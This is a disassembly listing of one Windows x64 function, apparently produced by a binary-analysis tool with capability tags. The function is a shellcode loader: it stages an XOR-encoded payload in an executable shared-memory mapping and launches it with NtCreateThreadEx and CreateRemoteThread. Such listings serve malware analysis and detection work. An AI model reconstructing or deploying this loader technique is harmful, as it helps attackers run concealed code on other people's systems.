Function at 0x1400035f0
Capabilities:
Create thread
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x1b0
mov rax, qword [0x140085020]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
movzx eax, word [0x14007f548]
lea rdx, str.___Mapping_name:
movsd xmm0, qword [str.t0pSecr3t_]
lea rcx, [0x1400866f0]
mov word [rsp + 0x70], ax
xor r14d, r14d
movzx eax, byte [0x14007f54a]
mov byte [rsp + 0x72], al
mov qword [rsp + 0x60], r14
movsd qword [rsp + 0x68], xmm0
call fcn.140006bf0
lea rbx, str.Hidden_Shared_Mem
mov rcx, rax
mov rdx, rbx
call fcn.140006f20
mov rcx, rax
call fcn.1400071a0
lea rdx, str.___loading_x86_64_shellcode
lea rcx, [0x1400866f0]
call fcn.140006bf0
mov rcx, rax
call fcn.1400071a0
lea rdx, [rsp + 0x80]
lea rax, [0x14007f5b0]
lea ecx, [r14 + 2]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x1400036a2
mov rcx, qword [rax + 0x10]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], rcx
movzx ecx, byte [rax + 0x18]
mov byte [rdx + 0x18], cl
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, str.___Creating_file_mapping...
mov rsi, rax
lea rcx, [0x140086550]
call fcn.140007230
mov rcx, rax
call fcn.1400074a0
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], 0x2000
lea r8d, [r9 + 0x40]
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbp, rax
test rax, rax
jne 0x14000378d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____CreateFileMapping___failed_with_GetLastError___
mov ebx, eax
lea rcx, [0x1400866f0]
call fcn.140006f20
mov rcx, rax
mov edx, ebx
call fcn.140003d80
mov rcx, rax
call fcn.1400071a0
mov eax, 0x4c7
jmp 0x140003b96
lea rdx, str.___File_mapping_is_created.
mov qword [rsp + 0x1c0], rdi
lea rcx, [0x140086550]
call fcn.140007230
mov rcx, rax
call fcn.1400074a0
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor r8d, r8d
mov edx, 0xf003f
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
jne 0x1400037fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____MapViewOfFileEx___failed_with_GetLastError___
mov ebx, eax
lea rcx, [0x1400866f0]
call fcn.140006f20
mov rcx, rax
mov edx, ebx
call fcn.140003d80
mov rcx, rax
call fcn.1400071a0
lea rdx, str.___View_created_at_address:
lea rcx, [0x1400866f0]
call fcn.140006f20
mov rcx, rax
mov rdx, rdi
call fcn.140003bd0
mov rcx, rax
call fcn.1400071a0
mov ebx, 0x119
mov qword [rsp + 0x20], r14
mov r9d, ebx
lea r8, [rsp + 0x80]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, r14d
mov r9, rdi
mov r10d, eax
nop
mov eax, 0x66666667
lea r9, [r9 + 1]
imul r8d
mov eax, r8d
inc r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0x68]
xor byte [r9 - 1], cl
sub rbx, 1
jne 0x140003850
lea rcx, [0x1400866f0]
test r10d, r10d
jne 0x1400038b3
lea rdx, str.____WriteProcessMemory___ERROR_
call fcn.140006bf0
mov rcx, rax
call fcn.1400071a0
call fcn.140003540
mov eax, 0x4c7
jmp 0x140003b8e
lea rdx, str.___Written
call fcn.140006f20
mov rcx, rax
call fcn.140003f30
mov rcx, rax
lea rdx, str._bytes_at_address
call fcn.140006bf0
mov rcx, rax
mov rdx, rdi
call fcn.140003bd0
mov rcx, rax
call fcn.1400071a0
lea rdx, str.___The_hidden_string_is:
lea rcx, [0x140086550]
call fcn.140007230
mov rcx, rax
lea rdx, [rdi + 0xbb]
call fcn.140007230
mov rcx, rax
call fcn.1400074a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea rdx, [0x14007f8a0]
lea rcx, [0x1400866f0]
call fcn.140006f20
mov rcx, rax
call fcn.1400071a0
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor r8d, r8d
mov edx, 0xf003f
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
jne 0x140003985
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____MapViewOfFileEx___failed_with_GetLastError___
mov ebx, eax
lea rcx, [0x1400866f0]
call fcn.140006f20
mov rcx, rax
mov edx, ebx
call fcn.140003d80
mov rcx, rax
call fcn.1400071a0
lea rdx, str.___View_remapped_at_address:
lea rcx, [0x1400866f0]
call fcn.140006f20
mov rcx, rax
mov rdx, rdi
call fcn.140003bd0
mov rcx, rax
call fcn.1400071a0
lea rdx, str.___Running_the_code_via_different_methods...
lea rcx, [0x1400866f0]
call fcn.140006f20
mov rcx, rax
call fcn.1400071a0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1400866f0]
mov rbx, rax
test rax, rax
jne 0x140003a10
lea rdx, str.____GetProcAddress___ERROR_
call fcn.140006bf0
mov rcx, rax
call fcn.1400071a0
call fcn.140003540
jmp 0x140003b8c
lea rdx, str.___Trying_to_create_thread_with_NtCreateThreadEx
call fcn.140006bf0
mov rcx, rax
call fcn.1400071a0
mov qword [rsp + 0x50], r14
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x48], r14d
mov r9, rsi
mov dword [rsp + 0x40], r14d
xor r8d, r8d
mov dword [rsp + 0x38], r14d
mov edx, 0x10000000
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call rbx
lea rcx, [0x1400866f0]
test eax, eax
jns 0x140003b27
lea rdx, str.____NtCreateThreadEx___ERROR_
call fcn.140006bf0
mov rcx, rax
call fcn.1400071a0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.___Now_trying_run_code_via_CreateRemoteThread
lea rcx, [0x1400866f0]
call fcn.140006bf0
mov rcx, rax
call fcn.1400071a0
mov qword [rsp + 0x30], r14
mov r9, rdi
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x60], rax
lea rcx, [0x1400866f0]
test rax, rax
jne 0x140003b01
lea rdx, str.____CreateRemoteThread___ERROR_
call fcn.140006bf0
mov rcx, rax
call fcn.1400071a0
call fcn.140003540
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x4c7
jmp 0x140003b8e
lea rdx, str.___CreateRemoteThread_Method_is_SUCCEEDED
call fcn.140006bf0
mov rcx, rax
call fcn.1400071a0
mov rcx, qword [rsp + 0x60]
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140003b3b
lea rdx, str.___NtCreateThreadEx_Method_is_SUCCEEDED
call fcn.140006bf0
mov rcx, rax
call fcn.1400071a0
mov rcx, qword [rsp + 0x60]
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea rdx, str.___View_unmapped
lea rcx, [0x1400866f0]
call fcn.140006bf0
mov rcx, rax
call fcn.1400071a0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.140011250
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret